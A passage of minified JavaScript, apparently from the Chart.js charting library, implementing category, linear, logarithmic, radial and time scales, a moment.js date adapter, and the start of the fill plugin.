e=this,t=e.options,n=t.ticks&&t.ticks.z||0,a=t.gridLines&&t.gridLines.z||0;return e._isVisible()&&n!==a&&e.draw===e._draw?[{z:a,draw:function(){e._drawGrid.apply(e,arguments),e._drawTitle.apply(e,arguments)}},{z:n,draw:function(){e._drawLabels.apply(e,arguments)}}]:[{z:n,draw:function(){e.draw.apply(e,arguments)}}]},_getMatchingVisibleMetas:function(e){var t=this,n=t.isHorizontal();return t.chart._getSortedVisibleDatasetMetas().filter((function(a){return(!e||a.type===e)&&(n?a.xAxisID===t.id:a.yAxisID===t.id)}))}});tn.prototype._draw=tn.prototype.draw;var nn=tn,an=W.isNullOrUndef,rn=nn.extend({determineDataLimits:function(){var e,t=this,n=t._getLabels(),a=t.options.ticks,r=a.min,i=a.max,s=0,o=n.length-1;void 0!==r&&(e=n.indexOf(r))>=0&&(s=e),void 0!==i&&(e=n.indexOf(i))>=0&&(o=e),t.minIndex=s,t.maxIndex=o,t.min=n[s],t.max=n[o]},buildTicks:function(){var e=this._getLabels(),t=this.minIndex,n=this.maxIndex;this.ticks=0===t&&n===e.length-1?e:e.slice(t,n+1)},getLabelForIndex:function(e,t){var n=this.chart;return n.getDatasetMeta(t).controller._getValueScaleId()===this.id?this.getRightValue(n.data.datasets[t].data[e]):this._getLabels()[e]},_configure:function(){var e=this,t=e.options.offset,n=e.ticks;nn.prototype._configure.call(e),e.isHorizontal()||(e._reversePixels=!e._reversePixels),n&&(e._startValue=e.minIndex-(t?.5:0),e._valueRange=Math.max(n.length-(t?0:1),1))},getPixelForValue:function(e,t,n){var a,r,i,s=this;return an(t)||an(n)||(e=s.chart.data.datasets[n].data[t]),an(e)||(a=s.isHorizontal()?e.x:e.y),(void 0!==a||void 0!==e&&isNaN(t))&&(r=s._getLabels(),e=W.valueOrDefault(a,e),t=-1!==(i=r.indexOf(e))?i:t,isNaN(t)&&(t=e)),s.getPixelForDecimal((t-s._startValue)/s._valueRange)},getPixelForTick:function(e){var t=this.ticks;return e<0||e>t.length-1?null:this.getPixelForValue(t[e],e+this.minIndex)},getValueForPixel:function(e){var t=Math.round(this._startValue+this.getDecimalForPixel(e)*this._valueRange);return Math.min(Math.max(t,0),this.ticks.length-1)},getBasePixel:function(){return this.bottom}});rn._defaults={position:"bottom"};var sn=W.isNullOrUndef,on=nn.extend({getRightValue:function(e){return"string"==typeof e?+e:nn.prototype.getRightValue.call(this,e)},handleTickRangeOptions:function(){var e=this,t=e.options.ticks;if(t.beginAtZero){var n=W.sign(e.min),a=W.sign(e.max);n<0&&a<0?e.max=0:n>0&&a>0&&(e.min=0)}var r=void 0!==t.min||void 0!==t.suggestedMin,i=void 0!==t.max||void 0!==t.suggestedMax;void 0!==t.min?e.min=t.min:void 0!==t.suggestedMin&&(e.min=null===e.min?t.suggestedMin:Math.min(e.min,t.suggestedMin)),void 0!==t.max?e.max=t.max:void 0!==t.suggestedMax&&(e.max=null===e.max?t.suggestedMax:Math.max(e.max,t.suggestedMax)),r!==i&&e.min>=e.max&&(r?e.max=e.min+1:e.min=e.max-1),e.min===e.max&&(e.max++,t.beginAtZero||e.min--)},getTickLimit:function(){var e,t=this.options.ticks,n=t.stepSize,a=t.maxTicksLimit;return n?e=Math.ceil(this.max/n)-Math.floor(this.min/n)+1:(e=this._computeTickLimit(),a=a||11),a&&(e=Math.min(a,e)),e},_computeTickLimit:function(){return Number.POSITIVE_INFINITY},handleDirectionalChanges:W.noop,buildTicks:function(){var e=this,t=e.options.ticks,n=e.getTickLimit(),a={maxTicks:n=Math.max(2,n),min:t.min,max:t.max,precision:t.precision,stepSize:W.valueOrDefault(t.fixedStepSize,t.stepSize)},r=e.ticks=function(e,t){var n,a,r,i,s=[],o=e.stepSize,l=o||1,d=e.maxTicks-1,u=e.min,c=e.max,h=e.precision,m=t.min,_=t.max,f=W.niceNum((_-m)/d/l)*l;if(f<1e-14&&sn(u)&&sn(c))return[m,_];(i=Math.ceil(_/f)-Math.floor(m/f))>d&&(f=W.niceNum(i*f/d/l)*l),o||sn(h)?n=Math.pow(10,W._decimalPlaces(f)):(n=Math.pow(10,h),f=Math.ceil(f*n)/n),a=Math.floor(m/f)*f,r=Math.ceil(_/f)*f,o&&(!sn(u)&&W.almostWhole(u/f,f/1e3)&&(a=u),!sn(c)&&W.almostWhole(c/f,f/1e3)&&(r=c)),i=W.almostEquals(i=(r-a)/f,Math.round(i),f/1e3)?Math.round(i):Math.ceil(i),a=Math.round(a*n)/n,r=Math.round(r*n)/n,s.push(sn(u)?a:u);for(var p=1;p<i;++p)s.push(Math.round((a+p*f)*n)/n);return s.push(sn(c)?r:c),s}(a,e);e.handleDirectionalChanges(),e.max=W.max(r),e.min=W.min(r),t.reverse?(r.reverse(),e.start=e.max,e.end=e.min):(e.start=e.min,e.end=e.max)},convertTicksToLabels:function(){var e=this;e.ticksAsNumbers=e.ticks.slice(),e.zeroLineIndex=e.ticks.indexOf(0),nn.prototype.convertTicksToLabels.call(e)},_configure:function(){var e,t=this,n=t.getTicks(),a=t.min,r=t.max;nn.prototype._configure.call(t),t.options.offset&&n.length&&(a-=e=(r-a)/Math.max(n.length-1,1)/2,r+=e),t._startValue=a,t._endValue=r,t._valueRange=r-a}}),ln={position:"left",ticks:{callback:Vt.formatters.linear}};function dn(e,t,n,a){var r,i,s=e.options,o=function(e,t,n){var a=[n.type,void 0===t&&void 0===n.stack?n.index:"",n.stack].join(".");return void 0===e[a]&&(e[a]={pos:[],neg:[]}),e[a]}(t,s.stacked,n),l=o.pos,d=o.neg,u=a.length;for(r=0;r<u;++r)i=e._parseValue(a[r]),isNaN(i.min)||isNaN(i.max)||n.data[r].hidden||(l[r]=l[r]||0,d[r]=d[r]||0,s.relativePoints?l[r]=100:i.min<0||i.max<0?d[r]+=i.min:l[r]+=i.max)}function un(e,t,n){var a,r,i=n.length;for(a=0;a<i;++a)r=e._parseValue(n[a]),isNaN(r.min)||isNaN(r.max)||t.data[a].hidden||(e.min=Math.min(e.min,r.min),e.max=Math.max(e.max,r.max))}var cn=on.extend({determineDataLimits:function(){var e,t,n,a,r=this,i=r.options,s=r.chart.data.datasets,o=r._getMatchingVisibleMetas(),l=i.stacked,d={},u=o.length;if(r.min=Number.POSITIVE_INFINITY,r.max=Number.NEGATIVE_INFINITY,void 0===l)for(e=0;!l&&e<u;++e)l=void 0!==(t=o[e]).stack;for(e=0;e<u;++e)n=s[(t=o[e]).index].data,l?dn(r,d,t,n):un(r,t,n);W.each(d,(function(e){a=e.pos.concat(e.neg),r.min=Math.min(r.min,W.min(a)),r.max=Math.max(r.max,W.max(a))})),r.min=W.isFinite(r.min)&&!isNaN(r.min)?r.min:0,r.max=W.isFinite(r.max)&&!isNaN(r.max)?r.max:1,r.handleTickRangeOptions()},_computeTickLimit:function(){var e;return this.isHorizontal()?Math.ceil(this.width/40):(e=W.options._parseFont(this.options.ticks),Math.ceil(this.height/e.lineHeight))},handleDirectionalChanges:function(){this.isHorizontal()||this.ticks.reverse()},getLabelForIndex:function(e,t){return this._getScaleLabel(this.chart.data.datasets[t].data[e])},getPixelForValue:function(e){return this.getPixelForDecimal((+this.getRightValue(e)-this._startValue)/this._valueRange)},getValueForPixel:function(e){return this._startValue+this.getDecimalForPixel(e)*this._valueRange},getPixelForTick:function(e){var t=this.ticksAsNumbers;return e<0||e>t.length-1?null:this.getPixelForValue(t[e])}});cn._defaults=ln;var hn=W.valueOrDefault,mn=W.math.log10,_n={position:"left",ticks:{callback:Vt.formatters.logarithmic}};function fn(e,t){return W.isFinite(e)&&e>=0?e:t}var pn=nn.extend({determineDataLimits:function(){var e,t,n,a,r,i,s=this,o=s.options,l=s.chart,d=l.data.datasets,u=s.isHorizontal();function c(e){return u?e.xAxisID===s.id:e.yAxisID===s.id}s.min=Number.POSITIVE_INFINITY,s.max=Number.NEGATIVE_INFINITY,s.minNotZero=Number.POSITIVE_INFINITY;var h=o.stacked;if(void 0===h)for(e=0;e<d.length;e++)if(t=l.getDatasetMeta(e),l.isDatasetVisible(e)&&c(t)&&void 0!==t.stack){h=!0;break}if(o.stacked||h){var m={};for(e=0;e<d.length;e++){var _=[(t=l.getDatasetMeta(e)).type,void 0===o.stacked&&void 0===t.stack?e:"",t.stack].join(".");if(l.isDatasetVisible(e)&&c(t))for(void 0===m[_]&&(m[_]=[]),r=0,i=(a=d[e].data).length;r<i;r++){var f=m[_];n=s._parseValue(a[r]),isNaN(n.min)||isNaN(n.max)||t.data[r].hidden||n.min<0||n.max<0||(f[r]=f[r]||0,f[r]+=n.max)}}W.each(m,(function(e){if(e.length>0){var t=W.min(e),n=W.max(e);s.min=Math.min(s.min,t),s.max=Math.max(s.max,n)}}))}else for(e=0;e<d.length;e++)if(t=l.getDatasetMeta(e),l.isDatasetVisible(e)&&c(t))for(r=0,i=(a=d[e].data).length;r<i;r++)n=s._parseValue(a[r]),isNaN(n.min)||isNaN(n.max)||t.data[r].hidden||n.min<0||n.max<0||(s.min=Math.min(n.min,s.min),s.max=Math.max(n.max,s.max),0!==n.min&&(s.minNotZero=Math.min(n.min,s.minNotZero)));s.min=W.isFinite(s.min)?s.min:null,s.max=W.isFinite(s.max)?s.max:null,s.minNotZero=W.isFinite(s.minNotZero)?s.minNotZero:null,this.handleTickRangeOptions()},handleTickRangeOptions:function(){var e=this,t=e.options.ticks;e.min=fn(t.min,e.min),e.max=fn(t.max,e.max),e.min===e.max&&(0!==e.min&&null!==e.min?(e.min=Math.pow(10,Math.floor(mn(e.min))-1),e.max=Math.pow(10,Math.floor(mn(e.max))+1)):(e.min=1,e.max=10)),null===e.min&&(e.min=Math.pow(10,Math.floor(mn(e.max))-1)),null===e.max&&(e.max=0!==e.min?Math.pow(10,Math.floor(mn(e.min))+1):10),null===e.minNotZero&&(e.minNotZero=e.min>0?e.min:e.max<1?Math.pow(10,Math.floor(mn(e.max))):1)},buildTicks:function(){var e=this,t=e.options.ticks,n=!e.isHorizontal(),a={min:fn(t.min),max:fn(t.max)},r=e.ticks=function(e,t){var n,a,r=[],i=hn(e.min,Math.pow(10,Math.floor(mn(t.min)))),s=Math.floor(mn(t.max)),o=Math.ceil(t.max/Math.pow(10,s));0===i?(n=Math.floor(mn(t.minNotZero)),a=Math.floor(t.minNotZero/Math.pow(10,n)),r.push(i),i=a*Math.pow(10,n)):(n=Math.floor(mn(i)),a=Math.floor(i/Math.pow(10,n)));var l=n<0?Math.pow(10,Math.abs(n)):1;do{r.push(i),10==++a&&(a=1,l=++n>=0?1:l),i=Math.round(a*Math.pow(10,n)*l)/l}while(n<s||n===s&&a<o);var d=hn(e.max,i);return r.push(d),r}(a,e);e.max=W.max(r),e.min=W.min(r),t.reverse?(n=!n,e.start=e.max,e.end=e.min):(e.start=e.min,e.end=e.max),n&&r.reverse()},convertTicksToLabels:function(){this.tickValues=this.ticks.slice(),nn.prototype.convertTicksToLabels.call(this)},getLabelForIndex:function(e,t){return this._getScaleLabel(this.chart.data.datasets[t].data[e])},getPixelForTick:function(e){var t=this.tickValues;return e<0||e>t.length-1?null:this.getPixelForValue(t[e])},_getFirstTickValue:function(e){var t=Math.floor(mn(e));return Math.floor(e/Math.pow(10,t))*Math.pow(10,t)},_configure:function(){var e=this,t=e.min,n=0;nn.prototype._configure.call(e),0===t&&(t=e._getFirstTickValue(e.minNotZero),n=hn(e.options.ticks.fontSize,F.global.defaultFontSize)/e._length),e._startValue=mn(t),e._valueOffset=n,e._valueRange=(mn(e.max)-mn(t))/(1-n)},getPixelForValue:function(e){var t=this,n=0;return(e=+t.getRightValue(e))>t.min&&e>0&&(n=(mn(e)-t._startValue)/t._valueRange+t._valueOffset),t.getPixelForDecimal(n)},getValueForPixel:function(e){var t=this,n=t.getDecimalForPixel(e);return 0===n&&0===t.min?0:Math.pow(10,t._startValue+(n-t._valueOffset)*t._valueRange)}});pn._defaults=_n;var gn=W.valueOrDefault,bn=W.valueAtIndexOrDefault,yn=W.options.resolve,Mn={display:!0,animate:!0,position:"chartArea",angleLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,borderDash:[],borderDashOffset:0},gridLines:{circular:!1},ticks:{showLabelBackdrop:!0,backdropColor:"rgba(255,255,255,0.75)",backdropPaddingY:2,backdropPaddingX:2,callback:Vt.formatters.linear},pointLabels:{display:!0,fontSize:10,callback:function(e){return e}}};function vn(e){var t=e.ticks;return t.display&&e.display?gn(t.fontSize,F.global.defaultFontSize)+2*t.backdropPaddingY:0}function Ln(e,t,n,a,r){return e===a||e===r?{start:t-n/2,end:t+n/2}:e<a||e>r?{start:t-n,end:t}:{start:t,end:t+n}}function kn(e){return 0===e||180===e?"center":e<180?"left":"right"}function wn(e,t,n,a){var r,i,s=n.y+a/2;if(W.isArray(t))for(r=0,i=t.length;r<i;++r)e.fillText(t[r],n.x,s),s+=a;else e.fillText(t,n.x,s)}function xn(e,t,n){90===e||270===e?n.y-=t.h/2:(e>270||e<90)&&(n.y-=t.h)}function Dn(e){return W.isNumber(e)?e:0}var Yn=on.extend({setDimensions:function(){var e=this;e.width=e.maxWidth,e.height=e.maxHeight,e.paddingTop=vn(e.options)/2,e.xCenter=Math.floor(e.width/2),e.yCenter=Math.floor((e.height-e.paddingTop)/2),e.drawingArea=Math.min(e.height-e.paddingTop,e.width)/2},determineDataLimits:function(){var e=this,t=e.chart,n=Number.POSITIVE_INFINITY,a=Number.NEGATIVE_INFINITY;W.each(t.data.datasets,(function(r,i){if(t.isDatasetVisible(i)){var s=t.getDatasetMeta(i);W.each(r.data,(function(t,r){var i=+e.getRightValue(t);isNaN(i)||s.data[r].hidden||(n=Math.min(i,n),a=Math.max(i,a))}))}})),e.min=n===Number.POSITIVE_INFINITY?0:n,e.max=a===Number.NEGATIVE_INFINITY?0:a,e.handleTickRangeOptions()},_computeTickLimit:function(){return Math.ceil(this.drawingArea/vn(this.options))},convertTicksToLabels:function(){var e=this;on.prototype.convertTicksToLabels.call(e),e.pointLabels=e.chart.data.labels.map((function(){var t=W.callback(e.options.pointLabels.callback,arguments,e);return t||0===t?t:""}))},getLabelForIndex:function(e,t){return+this.getRightValue(this.chart.data.datasets[t].data[e])},fit:function(){var e=this.options;e.display&&e.pointLabels.display?function(e){var t,n,a,r=W.options._parseFont(e.options.pointLabels),i={l:0,r:e.width,t:0,b:e.height-e.paddingTop},s={};e.ctx.font=r.string,e._pointLabelSizes=[];var o,l,d,u=e.chart.data.labels.length;for(t=0;t<u;t++){a=e.getPointPosition(t,e.drawingArea+5),o=e.ctx,l=r.lineHeight,n=W.isArray(d=e.pointLabels[t])?{w:W.longestText(o,o.font,d),h:d.length*l}:{w:o.measureText(d).width,h:l},e._pointLabelSizes[t]=n;var c=e.getIndexAngle(t),h=W.toDegrees(c)%360,m=Ln(h,a.x,n.w,0,180),_=Ln(h,a.y,n.h,90,270);m.start<i.l&&(i.l=m.start,s.l=c),m.end>i.r&&(i.r=m.end,s.r=c),_.start<i.t&&(i.t=_.start,s.t=c),_.end>i.b&&(i.b=_.end,s.b=c)}e.setReductions(e.drawingArea,i,s)}(this):this.setCenterPoint(0,0,0,0)},setReductions:function(e,t,n){var a=this,r=t.l/Math.sin(n.l),i=Math.max(t.r-a.width,0)/Math.sin(n.r),s=-t.t/Math.cos(n.t),o=-Math.max(t.b-(a.height-a.paddingTop),0)/Math.cos(n.b);r=Dn(r),i=Dn(i),s=Dn(s),o=Dn(o),a.drawingArea=Math.min(Math.floor(e-(r+i)/2),Math.floor(e-(s+o)/2)),a.setCenterPoint(r,i,s,o)},setCenterPoint:function(e,t,n,a){var r=this,i=n+r.drawingArea,s=r.height-r.paddingTop-a-r.drawingArea;r.xCenter=Math.floor((e+r.drawingArea+(r.width-t-r.drawingArea))/2+r.left),r.yCenter=Math.floor((i+s)/2+r.top+r.paddingTop)},getIndexAngle:function(e){var t=this.chart,n=(e*(360/t.data.labels.length)+((t.options||{}).startAngle||0))%360;return(n<0?n+360:n)*Math.PI*2/360},getDistanceFromCenterForValue:function(e){var t=this;if(W.isNullOrUndef(e))return NaN;var n=t.drawingArea/(t.max-t.min);return t.options.ticks.reverse?(t.max-e)*n:(e-t.min)*n},getPointPosition:function(e,t){var n=this.getIndexAngle(e)-Math.PI/2;return{x:Math.cos(n)*t+this.xCenter,y:Math.sin(n)*t+this.yCenter}},getPointPositionForValue:function(e,t){return this.getPointPosition(e,this.getDistanceFromCenterForValue(t))},getBasePosition:function(e){var t=this.min,n=this.max;return this.getPointPositionForValue(e||0,this.beginAtZero?0:t<0&&n<0?n:t>0&&n>0?t:0)},_drawGrid:function(){var e,t,n,a=this,r=a.ctx,i=a.options,s=i.gridLines,o=i.angleLines,l=gn(o.lineWidth,s.lineWidth),d=gn(o.color,s.color);if(i.pointLabels.display&&function(e){var t=e.ctx,n=e.options,a=n.pointLabels,r=vn(n),i=e.getDistanceFromCenterForValue(n.ticks.reverse?e.min:e.max),s=W.options._parseFont(a);t.save(),t.font=s.string,t.textBaseline="middle";for(var o=e.chart.data.labels.length-1;o>=0;o--){var l=e.getPointPosition(o,i+(0===o?r/2:0)+5),d=bn(a.fontColor,o,F.global.defaultFontColor);t.fillStyle=d;var u=e.getIndexAngle(o),c=W.toDegrees(u);t.textAlign=kn(c),xn(c,e._pointLabelSizes[o],l),wn(t,e.pointLabels[o],l,s.lineHeight)}t.restore()}(a),s.display&&W.each(a.ticks,(function(e,n){0!==n&&(t=a.getDistanceFromCenterForValue(a.ticksAsNumbers[n]),function(e,t,n,a){var r,i=e.ctx,s=t.circular,o=e.chart.data.labels.length,l=bn(t.color,a-1),d=bn(t.lineWidth,a-1);if((s||o)&&l&&d){if(i.save(),i.strokeStyle=l,i.lineWidth=d,i.setLineDash&&(i.setLineDash(t.borderDash||[]),i.lineDashOffset=t.borderDashOffset||0),i.beginPath(),s)i.arc(e.xCenter,e.yCenter,n,0,2*Math.PI);else{r=e.getPointPosition(0,n),i.moveTo(r.x,r.y);for(var u=1;u<o;u++)r=e.getPointPosition(u,n),i.lineTo(r.x,r.y)}i.closePath(),i.stroke(),i.restore()}}(a,s,t,n))})),o.display&&l&&d){for(r.save(),r.lineWidth=l,r.strokeStyle=d,r.setLineDash&&(r.setLineDash(yn([o.borderDash,s.borderDash,[]])),r.lineDashOffset=yn([o.borderDashOffset,s.borderDashOffset,0])),e=a.chart.data.labels.length-1;e>=0;e--)t=a.getDistanceFromCenterForValue(i.ticks.reverse?a.min:a.max),n=a.getPointPosition(e,t),r.beginPath(),r.moveTo(a.xCenter,a.yCenter),r.lineTo(n.x,n.y),r.stroke();r.restore()}},_drawLabels:function(){var e=this,t=e.ctx,n=e.options.ticks;if(n.display){var a,r,i=e.getIndexAngle(0),s=W.options._parseFont(n),o=gn(n.fontColor,F.global.defaultFontColor);t.save(),t.font=s.string,t.translate(e.xCenter,e.yCenter),t.rotate(i),t.textAlign="center",t.textBaseline="middle",W.each(e.ticks,(function(i,l){(0!==l||n.reverse)&&(a=e.getDistanceFromCenterForValue(e.ticksAsNumbers[l]),n.showLabelBackdrop&&(r=t.measureText(i).width,t.fillStyle=n.backdropColor,t.fillRect(-r/2-n.backdropPaddingX,-a-s.size/2-n.backdropPaddingY,r+2*n.backdropPaddingX,s.size+2*n.backdropPaddingY)),t.fillStyle=o,t.fillText(i,0,-a))})),t.restore()}},_drawTitle:W.noop});Yn._defaults=Mn;var Tn=W._deprecated,Sn=W.options.resolve,Cn=W.valueOrDefault,jn=Number.MIN_SAFE_INTEGER||-9007199254740991,On=Number.MAX_SAFE_INTEGER||9007199254740991,Hn={millisecond:{common:!0,size:1,steps:1e3},second:{common:!0,size:1e3,steps:60},minute:{common:!0,size:6e4,steps:60},hour:{common:!0,size:36e5,steps:24},day:{common:!0,size:864e5,steps:30},week:{common:!1,size:6048e5,steps:4},month:{common:!0,size:2628e6,steps:12},quarter:{common:!1,size:7884e6,steps:4},year:{common:!0,size:3154e7}},An=Object.keys(Hn);function Pn(e,t){return e-t}function Fn(e){return W.valueOrDefault(e.time.min,e.ticks.min)}function In(e){return W.valueOrDefault(e.time.max,e.ticks.max)}function En(e,t,n,a){var r=function(e,t,n){for(var a,r,i,s=0,o=e.length-1;s>=0&&s<=o;){if(i=e[a=s+o>>1],!(r=e[a-1]||null))return{lo:null,hi:i};if(i[t]<n)s=a+1;else{if(!(r[t]>n))return{lo:r,hi:i};o=a-1}}return{lo:i,hi:null}}(e,t,n),i=r.lo?r.hi?r.lo:e[e.length-2]:e[0],s=r.lo?r.hi?r.hi:e[e.length-1]:e[1],o=s[t]-i[t];return i[a]+(s[a]-i[a])*(o?(n-i[t])/o:0)}function Rn(e,t){var n=e._adapter,a=e.options.time,r=a.parser,i=r||a.format,s=t;return"function"==typeof r&&(s=r(s)),W.isFinite(s)||(s="string"==typeof i?n.parse(s,i):n.parse(s)),null!==s?+s:(r||"function"!=typeof i||(s=i(t),W.isFinite(s)||(s=n.parse(s))),s)}function Nn(e,t){if(W.isNullOrUndef(t))return null;var n=e.options.time,a=Rn(e,e.getRightValue(t));return null===a||n.round&&(a=+e._adapter.startOf(a,n.round)),a}function Wn(e,t,n,a){var r,i,s=An.length;for(r=An.indexOf(e);r<s-1;++r)if((i=Hn[An[r]]).common&&Math.ceil((n-t)/((i.steps?i.steps:On)*i.size))<=a)return An[r];return An[s-1]}function zn(e,t,n){var a,r,i=[],s={},o=t.length;for(a=0;a<o;++a)s[r=t[a]]=a,i.push({value:r,major:!1});return 0!==o&&n?function(e,t,n,a){var r,i,s=e._adapter,o=+s.startOf(t[0].value,a),l=t[t.length-1].value;for(r=o;r<=l;r=+s.add(r,1,a))(i=n[r])>=0&&(t[i].major=!0);return t}(e,i,s,n):i}var Vn=nn.extend({initialize:function(){this.mergeTicksOptions(),nn.prototype.initialize.call(this)},update:function(){var e=this,t=e.options,n=t.time||(t.time={}),a=e._adapter=new zt._date(t.adapters.date);return Tn("time scale",n.format,"time.format","time.parser"),Tn("time scale",n.min,"time.min","ticks.min"),Tn("time scale",n.max,"time.max","ticks.max"),W.mergeIf(n.displayFormats,a.formats()),nn.prototype.update.apply(e,arguments)},getRightValue:function(e){return e&&void 0!==e.t&&(e=e.t),nn.prototype.getRightValue.call(this,e)},determineDataLimits:function(){var e,t,n,a,r,i,s,o=this,l=o.chart,d=o._adapter,u=o.options,c=u.time.unit||"day",h=On,m=jn,_=[],f=[],p=[],g=o._getLabels();for(e=0,n=g.length;e<n;++e)p.push(Nn(o,g[e]));for(e=0,n=(l.data.datasets||[]).length;e<n;++e)if(l.isDatasetVisible(e))if(W.isObject((r=l.data.datasets[e].data)[0]))for(f[e]=[],t=0,a=r.length;t<a;++t)i=Nn(o,r[t]),_.push(i),f[e][t]=i;else f[e]=p.slice(0),s||(_=_.concat(p),s=!0);else f[e]=[];p.length&&(h=Math.min(h,p[0]),m=Math.max(m,p[p.length-1])),_.length&&(_=n>1?function(e){var t,n,a,r={},i=[];for(t=0,n=e.length;t<n;++t)r[a=e[t]]||(r[a]=!0,i.push(a));return i}(_).sort(Pn):_.sort(Pn),h=Math.min(h,_[0]),m=Math.max(m,_[_.length-1])),h=Nn(o,Fn(u))||h,m=Nn(o,In(u))||m,h=h===On?+d.startOf(Date.now(),c):h,m=m===jn?+d.endOf(Date.now(),c)+1:m,o.min=Math.min(h,m),o.max=Math.max(h+1,m),o._table=[],o._timestamps={data:_,datasets:f,labels:p}},buildTicks:function(){var e,t,n,a=this,r=a.min,i=a.max,s=a.options,o=s.ticks,l=s.time,d=a._timestamps,u=[],c=a.getLabelCapacity(r),h=o.source,m=s.distribution;for(d="data"===h||"auto"===h&&"series"===m?d.data:"labels"===h?d.labels:function(e,t,n,a){var r,i=e._adapter,s=e.options,o=s.time,l=o.unit||Wn(o.minUnit,t,n,a),d=Sn([o.stepSize,o.unitStepSize,1]),u="week"===l&&o.isoWeekday,c=t,h=[];if(u&&(c=+i.startOf(c,"isoWeek",u)),c=+i.startOf(c,u?"day":l),i.diff(n,t,l)>1e5*d)throw t+" and "+n+" are too far apart with stepSize of "+d+" "+l;for(r=c;r<n;r=+i.add(r,d,l))h.push(r);return r!==n&&"ticks"!==s.bounds||h.push(r),h}(a,r,i,c),"ticks"===s.bounds&&d.length&&(r=d[0],i=d[d.length-1]),r=Nn(a,Fn(s))||r,i=Nn(a,In(s))||i,e=0,t=d.length;e<t;++e)(n=d[e])>=r&&n<=i&&u.push(n);return a.min=r,a.max=i,a._unit=l.unit||(o.autoSkip?Wn(l.minUnit,a.min,a.max,c):function(e,t,n,a,r){var i,s;for(i=An.length-1;i>=An.indexOf(n);i--)if(Hn[s=An[i]].common&&e._adapter.diff(r,a,s)>=t-1)return s;return An[n?An.indexOf(n):0]}(a,u.length,l.minUnit,a.min,a.max)),a._majorUnit=o.major.enabled&&"year"!==a._unit?function(e){for(var t=An.indexOf(e)+1,n=An.length;t<n;++t)if(Hn[An[t]].common)return An[t]}(a._unit):void 0,a._table=function(e,t,n,a){if("linear"===a||!e.length)return[{time:t,pos:0},{time:n,pos:1}];var r,i,s,o,l,d=[],u=[t];for(r=0,i=e.length;r<i;++r)(o=e[r])>t&&o<n&&u.push(o);for(u.push(n),r=0,i=u.length;r<i;++r)l=u[r+1],o=u[r],void 0!==(s=u[r-1])&&void 0!==l&&Math.round((l+s)/2)===o||d.push({time:o,pos:r/(i-1)});return d}(a._timestamps.data,r,i,m),a._offsets=function(e,t,n,a,r){var i,s,o=0,l=0;return r.offset&&t.length&&(i=En(e,"time",t[0],"pos"),o=1===t.length?1-i:(En(e,"time",t[1],"pos")-i)/2,s=En(e,"time",t[t.length-1],"pos"),l=1===t.length?s:(s-En(e,"time",t[t.length-2],"pos"))/2),{start:o,end:l,factor:1/(o+1+l)}}(a._table,u,0,0,s),o.reverse&&u.reverse(),zn(a,u,a._majorUnit)},getLabelForIndex:function(e,t){var n=this,a=n._adapter,r=n.chart.data,i=n.options.time,s=r.labels&&e<r.labels.length?r.labels[e]:"",o=r.datasets[t].data[e];return W.isObject(o)&&(s=n.getRightValue(o)),i.tooltipFormat?a.format(Rn(n,s),i.tooltipFormat):"string"==typeof s?s:a.format(Rn(n,s),i.displayFormats.datetime)},tickFormatFunction:function(e,t,n,a){var r=this.options,i=r.time.displayFormats,s=this._majorUnit,o=i[s],l=n[t],d=r.ticks,u=s&&o&&l&&l.major,c=this._adapter.format(e,a||(u?o:i[this._unit])),h=u?d.major:d.minor,m=Sn([h.callback,h.userCallback,d.callback,d.userCallback]);return m?m(c,t,n):c},convertTicksToLabels:function(e){var t,n,a=[];for(t=0,n=e.length;t<n;++t)a.push(this.tickFormatFunction(e[t].value,t,e));return a},getPixelForOffset:function(e){var t=this._offsets,n=En(this._table,"time",e,"pos");return this.getPixelForDecimal((t.start+n)*t.factor)},getPixelForValue:function(e,t,n){var a=null;if(void 0!==t&&void 0!==n&&(a=this._timestamps.datasets[n][t]),null===a&&(a=Nn(this,e)),null!==a)return this.getPixelForOffset(a)},getPixelForTick:function(e){var t=this.getTicks();return e>=0&&e<t.length?this.getPixelForOffset(t[e].value):null},getValueForPixel:function(e){var t=this._offsets,n=this.getDecimalForPixel(e)/t.factor-t.end,a=En(this._table,"pos",n,"time");return this._adapter._create(a)},_getLabelSize:function(e){var t=this.options.ticks,n=this.ctx.measureText(e).width,a=W.toRadians(this.isHorizontal()?t.maxRotation:t.minRotation),r=Math.cos(a),i=Math.sin(a),s=Cn(t.fontSize,F.global.defaultFontSize);return{w:n*r+s*i,h:n*i+s*r}},getLabelWidth:function(e){return this._getLabelSize(e).w},getLabelCapacity:function(e){var t=this,n=t.options.time,a=n.displayFormats,r=a[n.unit]||a.millisecond,i=t.tickFormatFunction(e,0,zn(t,[e],t._majorUnit),r),s=t._getLabelSize(i),o=Math.floor(t.isHorizontal()?t.width/s.w:t.height/s.h);return t.options.offset&&o--,o>0?o:1}});Vn._defaults={position:"bottom",distribution:"linear",bounds:"data",adapters:{},time:{parser:!1,unit:!1,round:!1,displayFormat:!1,isoWeekday:!1,minUnit:"millisecond",displayFormats:{}},ticks:{autoSkip:!1,source:"auto",major:{enabled:!1}}};var qn={category:rn,linear:cn,logarithmic:pn,radialLinear:Yn,time:Vn},Bn={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};zt._date.override("function"==typeof e?{_id:"moment",formats:function(){return Bn},parse:function(t,n){return"string"==typeof t&&"string"==typeof n?t=e(t,n):t instanceof e||(t=e(t)),t.isValid()?t.valueOf():null},format:function(t,n){return e(t).format(n)},add:function(t,n,a){return e(t).add(n,a).valueOf()},diff:function(t,n,a){return e(t).diff(e(n),a)},startOf:function(t,n,a){return t=e(t),"isoWeek"===n?t.isoWeekday(a).valueOf():t.startOf(n).valueOf()},endOf:function(t,n){return e(t).endOf(n).valueOf()},_create:function(t){return e(t)}}:{}),F._set("global",{plugins:{filler:{propagate:!0}}});var Gn={dataset:function(e){var t=e.fill,n=e.chart,a=n.getDatasetMeta(t),r=a&&n.isDatasetVisible(t)&&a.dataset._children||[],i=r.length||0;return i?function(e,t){return t<i&&r[t]._view||null}:null},boundary:function(e){var t=e.boundary,n=t?t.x:null,a=t?t.y:null;return W.isArray(t)?function(e,n){return t[n]}:function(e){return{x:null===n?e.x:n,y:null===a?e.y:a}}}};function Jn(e,t,n){var a,r=e._model||{},i=r.fill;if(void 